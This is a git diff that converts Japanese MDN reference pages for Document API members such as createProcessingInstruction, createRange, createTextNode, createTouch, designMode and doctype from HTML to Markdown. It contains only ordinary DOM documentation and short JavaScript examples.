  • target は処理命令の最初の部分 (つまり <?target … ?>) を含む文字列です。
  • -
  • data は target の後に処理命令が伝えるすべての情報を含む文字列です。このデータはあなた次第ですが、 ?> は処理命令を閉じるので含むことができません。
  • -
+- `piNode` は結果の {{ domxref("ProcessingInstruction") }} ノードです。 +- `target` は処理命令の最初の部分 (つまり ``) を含む文字列です。 +- `data` は target の後に処理命令が伝えるすべての情報を含む文字列です。このデータはあなた次第ですが、 `?>` は処理命令を閉じるので含むことができません。 -

例外

+### 例外 -
-
DOM_INVALID_CHARACTER
-
以下の何れかが真になると例外を投げます。 -
    -
  • 処理命令の target が無効である — 有効な XML 名とは、 "xml", "XML" またはその2つの大文字・小文字の組み合わせであり、 <?xml-stylesheet ?> のような標準化されたものではないものです。
  • -
  • closing processing instruction sequence (?>) がdata に含まれている。
  • -
-
-
+- `DOM_INVALID_CHARACTER` -

+ - : 以下の何れかが真になると例外を投げます。 -
var doc = new DOMParser().parseFromString('<foo />', 'application/xml');
+    - 処理命令の **_target_** が無効である — 有効な *[XML 名](https://www.w3.org/TR/REC-xml/#dt-name)*とは、 "xml", "XML" またはその 2 つの大文字・小文字の組み合わせであり、 `` のような標準化されたものではないものです。
+    - _closing processing instruction sequence_ (`?>`) が`data` に含まれている。
+
+## 例
+
+```js
+var doc = new DOMParser().parseFromString('', 'application/xml');
 var pi = doc.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');
 
 doc.insertBefore(pi, doc.firstChild);
 
 console.log(new XMLSerializer().serializeToString(doc));
-// Displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/>
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM WHATWG')}}変更なし
{{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM4')}}data 引数の検証方法のもっと詳細な定義を追加した。
{{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM3 Core')}}対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。
{{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM2 Core')}}変更なし
{{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM1')}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.createProcessingInstruction")}}

+// Displays: +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}} | {{Spec2('DOM WHATWG')}} | 変更なし | +| {{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}} | {{Spec2('DOM4')}} | `data` 引数の検証方法のもっと詳細な定義を追加した。 | +| {{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM3 Core')}} | 対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。 | +| {{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM2 Core')}} | 変更なし | +| {{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM1')}} | 初回定義 | + +## ブラウザーの対応 + +{{Compat("api.Document.createProcessingInstruction")}} diff --git a/files/ja/web/api/document/createrange/index.md b/files/ja/web/api/document/createrange/index.md index 2c0bef84df8ea7..fbccc5218f5ca0 100644 --- a/files/ja/web/api/document/createrange/index.md +++ b/files/ja/web/api/document/createrange/index.md @@ -11,48 +11,37 @@ tags: - Range translation_of: Web/API/Document/createRange --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

Document.createRange() メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。

+**`Document.createRange()`** メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。 -

構文

+## 構文 -
range = document.createRange();
-
+``` +range = document.createRange(); +``` -

range は生成された {{domxref("Range")}} オブジェクトです。

+_range_ は生成された {{domxref("Range")}} オブジェクトです。 -

+## 例 -
let range = document.createRange();
+```js
+let range = document.createRange();
 
 range.setStart(startNode, startOffset);
 range.setEnd(endNode, endOffset);
-
- -

- -

Range を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.createRange")}}
+``` + +## 注 + +`Range` を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createRange")}} diff --git a/files/ja/web/api/document/createtextnode/index.md b/files/ja/web/api/document/createtextnode/index.md index 155bc42a3f4ee0..580d93c6659082 100644 --- a/files/ja/web/api/document/createtextnode/index.md +++ b/files/ja/web/api/document/createtextnode/index.md @@ -10,70 +10,56 @@ tags: - メソッド translation_of: Web/API/Document/createTextNode --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。

+新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。 -

構文

+## 構文 -
var text = document.createTextNode(data);
-
+``` +var text = document.createTextNode(data); +``` -
    -
  • text: {{domxref("Text")}} ノード。
  • -
  • data: テキストノードの中に入れるデータが入った文字列
  • -
+- _text_: {{domxref("Text")}} ノード。 +- _data_: テキストノードの中に入れるデータが入った[文字列](/ja/docs/Web/JavaScript/Reference/Global_Objects/String)。 -

+## 例 -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>createTextNode example</title>
-<script>
+```html
+
+
+
+createTextNode example
+
+
 
-<body>
-  <button onclick="addTextNode('YES! ');">YES!</button>
-  <button onclick="addTextNode('NO! ');">NO!</button>
-  <button onclick="addTextNode('WE CAN! ');">WE CAN!</button>
+
+  
+  
+  
 
-  <hr />
+  
- <p id="p1">First line of paragraph.</p> -</body> -</html> +

First line of paragraph.

+ + +``` -
+{{EmbedLiveSample('Example')}} -

{{EmbedLiveSample('Example')}}

+## 仕様書 -

仕様書

+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}} | {{Spec2('DOM WHATWG')}} | | - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}{{Spec2('DOM WHATWG')}}
+## ブラウザーの対応 -

ブラウザーの対応

- -

{{Compat("api.Document.createTextNode")}}

+{{Compat("api.Document.createTextNode")}} diff --git a/files/ja/web/api/document/createtouch/index.md b/files/ja/web/api/document/createtouch/index.md index 3b8eb3107c3c70..14911c3442b31d 100644 --- a/files/ja/web/api/document/createtouch/index.md +++ b/files/ja/web/api/document/createtouch/index.md @@ -12,105 +12,84 @@ tags: - touch translation_of: Web/API/Document/createTouch --- -
{{APIRef("DOM")}}{{Deprecated_Header}}
+{{APIRef("DOM")}}{{Deprecated_Header}} -
-

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

-
+> **Note:** **注:** {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。 -

Document.createTouch() メソッドは、新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。

+**`Document.createTouch()`** メソッドは、新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。 -

構文

+## 構文 -
var touch = DocumentTouch.createTouch(view, target, identifier, pageX, pageY,
+```
+var touch = DocumentTouch.createTouch(view, target, identifier, pageX, pageY,
                                       screenX, screenY);
-
- -

引数

- -
注: すべての引数が省略可能です。
- -
-
view
-
タッチが発生した {{DOMxRef("window")}} です。
-
target
-
タッチの {{DOMxRef("EventTarget")}} です。
-
identifier
-
{{DOMxRef("Touch.identifier")}} の値です。
-
pageX
-
{{DOMxRef("Touch.pageX")}} の値です。
-
pageY
-
{{DOMxRef("Touch.pageY")}} の値です。
-
screenX
-
{{DOMxRef("Touch.screenX")}} の値です。
-
screenY
-
{{DOMxRef("Touch.screenY")}} の値です。
-
- -
注: このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。
- -
-
clientX
-
{{DOMxRef("Touch.clientX")}} の値です。
-
clientY
-
{{DOMxRef("Touch.clientY")}} の値です。
-
radiusX
-
{{DOMxRef("Touch.radiusX")}} の値です。
-
radiusY
-
{{DOMxRef("Touch.radiusY")}} の値です。
-
rotationAngle
-
{{DOMxRef("Touch.rotationAngle")}} の値です。
-
force
-
{{DOMxRef("Touch.force")}} の値です。
-
- -

返値

- -
-
touch
-
入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。
-
- -

- -

この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。

- -

以下のコードスニペットでは、2つの {{DOMxRef("Touch")}} オブジェクトが target 要素に生成されます。

- -
var target = document.getElementById("target");
+```
+
+### 引数
+
+> **Note:** **注:** すべての引数が省略可能です。
+
+- `view`
+  - : タッチが発生した {{DOMxRef("window")}} です。
+- `target`
+  - : タッチの {{DOMxRef("EventTarget")}} です。
+- `identifier`
+  - : {{DOMxRef("Touch.identifier")}} の値です。
+- `pageX`
+  - : {{DOMxRef("Touch.pageX")}} の値です。
+- `pageY`
+  - : {{DOMxRef("Touch.pageY")}} の値です。
+- `screenX`
+  - : {{DOMxRef("Touch.screenX")}} の値です。
+- `screenY`
+  - : {{DOMxRef("Touch.screenY")}} の値です。
+
+> **Note:** **注:** このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。
+
+- `clientX`
+  - : {{DOMxRef("Touch.clientX")}} の値です。
+- `clientY`
+  - : {{DOMxRef("Touch.clientY")}} の値です。
+- `radiusX`
+  - : {{DOMxRef("Touch.radiusX")}} の値です。
+- `radiusY`
+  - : {{DOMxRef("Touch.radiusY")}} の値です。
+- `rotationAngle`
+  - : {{DOMxRef("Touch.rotationAngle")}} の値です。
+- `force`
+  - : {{DOMxRef("Touch.force")}} の値です。
+
+### 返値
+
+- `touch`
+  - : 入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。
+
+## 例
+
+この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。
+
+以下のコードスニペットでは、2 つの {{DOMxRef("Touch")}} オブジェクトが `target` 要素に生成されます。
+
+```js
+var target = document.getElementById("target");
 
 var touch1 = Document.createTouch(window, target, 1, 15, 20, 35, 40);
 var touch2 = Document.createTouch(window, target, 2, 25, 30, 45, 50);
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}}{{Spec2("Touch Events")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createTouch")}}

- -

関連情報

- -
    -
  • タッチイベント
  • -
  • {{DOMxRef("TouchList")}}
  • -
  • {{DOMxRef("Touch")}}
  • -
  • {{DOMxRef("Document.createTouchList()")}}
  • -
+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}} | {{Spec2("Touch Events")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createTouch")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{DOMxRef("TouchList")}} +- {{DOMxRef("Touch")}} +- {{DOMxRef("Document.createTouchList()")}} diff --git a/files/ja/web/api/document/createtouchlist/index.md b/files/ja/web/api/document/createtouchlist/index.md index 5766b6465ce7a0..7afded3ebe66e2 100644 --- a/files/ja/web/api/document/createtouchlist/index.md +++ b/files/ja/web/api/document/createtouchlist/index.md @@ -14,40 +14,36 @@ tags: - メソッド translation_of: Web/API/Document/createTouchList --- -
{{APIRef("DOM")}}{{Deprecated_Header}}
+{{APIRef("DOM")}}{{Deprecated_Header}} -
-

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

-
+> **Note:** **注:** {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。 -

Document.createTouchList() メソッドは、新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。

+**`Document.createTouchList()`** メソッドは、新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。 -

構文

+## 構文 -
var list = DocumentTouch.createTouchList([touch1 [, touch2 [, ...]]]);
-
+``` +var list = DocumentTouch.createTouchList([touch1 [, touch2 [, ...]]]); +``` -

引数

+### 引数 -
-
touches
-
0個以上の {{DOMxRef("Touch")}} オブジェクトです。 注: Firefox は {{DOMxRef("Touch")}} オブジェクトの配列も受け付けます。
-
+- `touches` + - : 0 個以上の {{DOMxRef("Touch")}} オブジェクトです。 **注:** Firefox は {{DOMxRef("Touch")}} オブジェクトの[配列](/ja/docs/Web/JavaScript/Reference/Global_Objects/Array)も受け付けます。 -

返値

+### 返値 -
-
list
-
{{DOMxRef("TouchList")}} オブジェクトで、 touches 引数で指定された {{DOMxRef("Touch")}} オブジェクトを含みます。
-
+- `list` + - : {{DOMxRef("TouchList")}} オブジェクトで、 `touches` 引数で指定された {{DOMxRef("Touch")}} オブジェクトを含みます。 -

+## 例 -

この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。

+この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。 -

以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に target 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。

+以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に `target` 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。 -
var target = document.getElementById("target");
+```js
+var target = document.getElementById("target");
 
 // Create some touch points
 var touch1 = document.createTouch(window, target, 1, 15, 20, 35, 40);
@@ -61,37 +57,22 @@ var list1 = document.createTouchList(touch1);
 
 // Create a list with two Touch objects
 var list2 = document.createTouchList(touch1, touch2);
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}}{{Spec2("Touch Events")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createTouchList")}}

- -

関連情報

- -
    -
  • タッチイベント
  • -
  • {{DOMxRef("Touch")}}
  • -
  • {{DOMxRef("TouchEvent")}}
  • -
  • {{DOMxRef("TouchList")}}
  • -
  • {{DOMxRef("Document.createTouch()")}}
  • -
+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}} | {{Spec2("Touch Events")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createTouchList")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{DOMxRef("Touch")}} +- {{DOMxRef("TouchEvent")}} +- {{DOMxRef("TouchList")}} +- {{DOMxRef("Document.createTouch()")}} diff --git a/files/ja/web/api/document/currentscript/index.md b/files/ja/web/api/document/currentscript/index.md index 17eb7fb52ea7dc..21c79522d257cb 100644 --- a/files/ja/web/api/document/currentscript/index.md +++ b/files/ja/web/api/document/currentscript/index.md @@ -10,57 +10,45 @@ tags: - プロパティ translation_of: Web/API/Document/currentScript --- -

{{APIRef("DOM")}}

+{{APIRef("DOM")}} -

Document.currentScript プロパティは、現在処理中で、 JavaScript モジュールではないスクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。

+**`Document.currentScript`** プロパティは、現在処理中で、 [JavaScript モジュールではない](https://github.com/whatwg/html/issues/997)スクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。 -

重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。

+重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。 -

構文

+## 構文 -
var curScriptElement = document.currentScript;
-
+``` +var curScriptElement = document.currentScript; +``` -

+## 例 -

次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。

+次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。 -
if (document.currentScript.async) {
+```js
+if (document.currentScript.async) {
   console.log("非同期で実行中");
 } else {
   console.log("同期で実行中");
-}
+} +``` -

実際の表示を確認

+[実際の表示を確認](/samples/html/currentScript.html) -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}{{Spec2("HTML WHATWG")}}初回定義
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}} | {{Spec2("HTML WHATWG")}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -
{{Compat("api.Document.currentScript")}}
+{{Compat("api.Document.currentScript")}} -

関連情報

+## 関連情報 -
    -
  • {{JSxRef("Statements/import%2Emeta", "import.meta")}}
  • -
  • {{HTMLElement("script")}}
  • -
  • {{DOMxRef("document.onafterscriptexecute")}}
  • -
  • {{DOMxRef("document.onbeforescriptexecute")}}
  • -
+- {{JSxRef("Statements/import%2Emeta", "import.meta")}} +- {{HTMLElement("script")}} +- {{DOMxRef("document.onafterscriptexecute")}} +- {{DOMxRef("document.onbeforescriptexecute")}} diff --git a/files/ja/web/api/document/cut_event/index.md b/files/ja/web/api/document/cut_event/index.md index 36b67a63944e62..86d82d6f7ce835 100644 --- a/files/ja/web/api/document/cut_event/index.md +++ b/files/ja/web/api/document/cut_event/index.md @@ -11,64 +11,53 @@ tags: - Web translation_of: Web/API/Document/cut_event --- -
{{APIRef}}
+{{APIRef}} -

cut イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。

+**`cut`** イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncut", "oncut")}}
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncut", "oncut")}}
-

このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: cut イベントを参照してください。

+このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: cut イベント](/ja/docs/Web/API/Element/cut_event)を参照してください。 -

+## 例 -
document.addEventListener('cut', (event) => {
+```js
+document.addEventListener('cut', (event) => {
     console.log('cut action initiated')
-});
+}); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-cut')}}{{Spec2('Clipboard API')}}
+| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-cut')}} | {{Spec2('Clipboard API')}} | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.cut_event")}}

+{{Compat("api.Document.cut_event")}} -

関連情報

+## 関連情報 -
    -
  • 関連イベント: {{domxref("Document/copy_event", "copy")}}, {{domxref("Document/paste_event", "paste")}}
  • -
  • {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/cut_event", "cut")}}
  • -
  • {{domxref("Document")}} を対象としたこのイベント: {{domxref("Document/cut_event", "cut")}}
  • -
+- 関連イベント: {{domxref("Document/copy_event", "copy")}}, {{domxref("Document/paste_event", "paste")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/cut_event", "cut")}} +- {{domxref("Document")}} を対象としたこのイベント: {{domxref("Document/cut_event", "cut")}} diff --git a/files/ja/web/api/document/defaultview/index.md b/files/ja/web/api/document/defaultview/index.md index ee022ee27b464a..a6b1778c24a10b 100644 --- a/files/ja/web/api/document/defaultview/index.md +++ b/files/ja/web/api/document/defaultview/index.md @@ -2,29 +2,30 @@ title: Document.defaultView slug: Web/API/Document/defaultView tags: -- API -- Document -- HTML DOM -- Property -- Reference -browser-compat: api.Document.defaultView + - API + - Document + - HTML DOM + - Property + - Reference translation_of: Web/API/Document/defaultView +browser-compat: api.Document.defaultView --- -
{{ApiRef}}
+{{ApiRef}} -

ブラウザーにおいて、document.defaultView はドキュメントに関連付けられている {{domxref("Window", "window")}} オブジェクトを返します。もし存在しない場合は null を返します。

+ブラウザーにおいて、**`document.defaultView`** はドキュメントに関連付けられている {{domxref("Window", "window")}} オブジェクトを返します。もし存在しない場合は `null` を返します。 -

構文

+## 構文 -
var win = document.defaultView;
+```js +var win = document.defaultView; +``` -

このプロパティは読み取り専用です。

+このプロパティは読み取り専用です。 -

仕様書

+## 仕様書 {{Specifications}} -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat}}

+{{Compat}} diff --git a/files/ja/web/api/document/designmode/index.md b/files/ja/web/api/document/designmode/index.md index c0a2da4cdef89e..4c1aaa5e2bf644 100644 --- a/files/ja/web/api/document/designmode/index.md +++ b/files/ja/web/api/document/designmode/index.md @@ -13,52 +13,40 @@ tags: - エディター translation_of: Web/API/Document/designMode --- -
{{ApiRef()}}
+{{ApiRef()}} -

document.designMode は、文書全体を編集可能にするかどうかを制御します。妥当な値は "on" および "off" です。仕様書では、このプロパティの既定値は "off" です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で "inherit" です。 Chrome 43 以降では、既定値は "off" であり、 "inherit" には対応しなくなりました。 IE6~10 では、値が大文字です。

+**`document.designMode`** は、文書全体を編集可能にするかどうかを制御します。妥当な値は `"on"` および `"off"` です。仕様書では、このプロパティの既定値は `"off"` です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で `"inherit"` です。 Chrome 43 以降では、既定値は `"off"` であり、 `"inherit"` には対応しなくなりました。 IE6 ~ 10 では、値が大文字です。 -

構文

+## 構文 -
var mode = document.designMode;
-document.designMode = value;
+``` +var mode = document.designMode; +document.designMode = value; +``` -

+### 値 -

designMode が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は on および off です。

+`designMode` が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は `on` および `off` です。 -

+## 例 -

{{HTMLElement("iframe")}} の文書を編集可能にします。

+{{HTMLElement("iframe")}} の文書を編集可能にします。 -
iframeNode.contentDocument.designMode = "on";
-
+```js +iframeNode.contentDocument.designMode = "on"; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}} | {{Spec2('HTML WHATWG')}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.designMode")}}

+{{Compat("api.Document.designMode")}} -

関連情報

+## 関連情報 - +- [Mozilla におけるリッチテキスト編集](/ja/docs/Rich-Text_Editing_in_Mozilla) +- {{domxref("HTMLElement.contentEditable")}} diff --git a/files/ja/web/api/document/dir/index.md b/files/ja/web/api/document/dir/index.md index 60a685df0ad71b..f5b9ea3e4297d1 100644 --- a/files/ja/web/api/document/dir/index.md +++ b/files/ja/web/api/document/dir/index.md @@ -9,41 +9,27 @@ tags: - プロパティ translation_of: Web/API/Document/dir --- -
{{ApiRef("HTML DOM")}}
+{{ApiRef("HTML DOM")}} -

Document.dir プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は 'rtl' 右書き (右から左)、または 'ltr' 左書き (左から右) です。

+**`Document.dir`** プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は `'rtl'` 右書き (右から左)、または `'ltr'` 左書き (左から右) です。 -

構文

+## 構文 -
dirStr = document.dir
-document.dir = dirStr
-
+``` +dirStr = document.dir +document.dir = dirStr +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}}{{Spec2("HTML WHATWG")}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}} | {{Spec2("HTML WHATWG")}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.dir")}}

+{{Compat("api.Document.dir")}} -

関連情報

+## 関連情報 -
    -
  • dir グローバル属性
  • -
+- [`dir`](/ja/docs/Web/HTML/Global_attributes/dir) グローバル属性 diff --git a/files/ja/web/api/document/doctype/index.md b/files/ja/web/api/document/doctype/index.md index b2ff8cb2446635..e402d37f1db055 100644 --- a/files/ja/web/api/document/doctype/index.md +++ b/files/ja/web/api/document/doctype/index.md @@ -10,55 +10,43 @@ tags: - プロパティ translation_of: Web/API/Document/doctype --- -
{{ApiRef("DOM")}}
+{{ApiRef("DOM")}} -

現在の文書に関連付けられた文書型宣言 (Document Type Declaration) (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 DocumentType を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。

+現在の文書に関連付けられた文書型宣言 (Document Type Declaration) (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 `DocumentType` を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。 -

構文

+## 構文 -
doctype = document.doctype;
-
+``` +doctype = document.doctype; +``` -
    -
  • doctype : 読み取り専用のプロパティです。
  • -
+- `doctype` : 読み取り専用のプロパティです。 -

+## 例 -
var doctypeObj = document.doctype;
+```js
+var doctypeObj = document.doctype;
 
 console.log(
   "doctypeObj.name: "           + doctypeObj.name            + "\n" +
   "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
   "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
   "doctypeObj.systemId: "       + doctypeObj.systemId
-);
+); +``` -

メモ

+## メモ -

現在の文書に関連付けられている DTD が存在しないは null が返されます。

+現在の文書に関連付けられている DTD が存在しないは `null` が返されます。 -

DOM レベル 2 では、文書型宣言の編集に対応していません。

+DOM レベル 2 では、文書型宣言の編集に対応していません。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}{{Spec2('DOM WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}} | {{Spec2('DOM WHATWG')}} | | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.doctype")}}

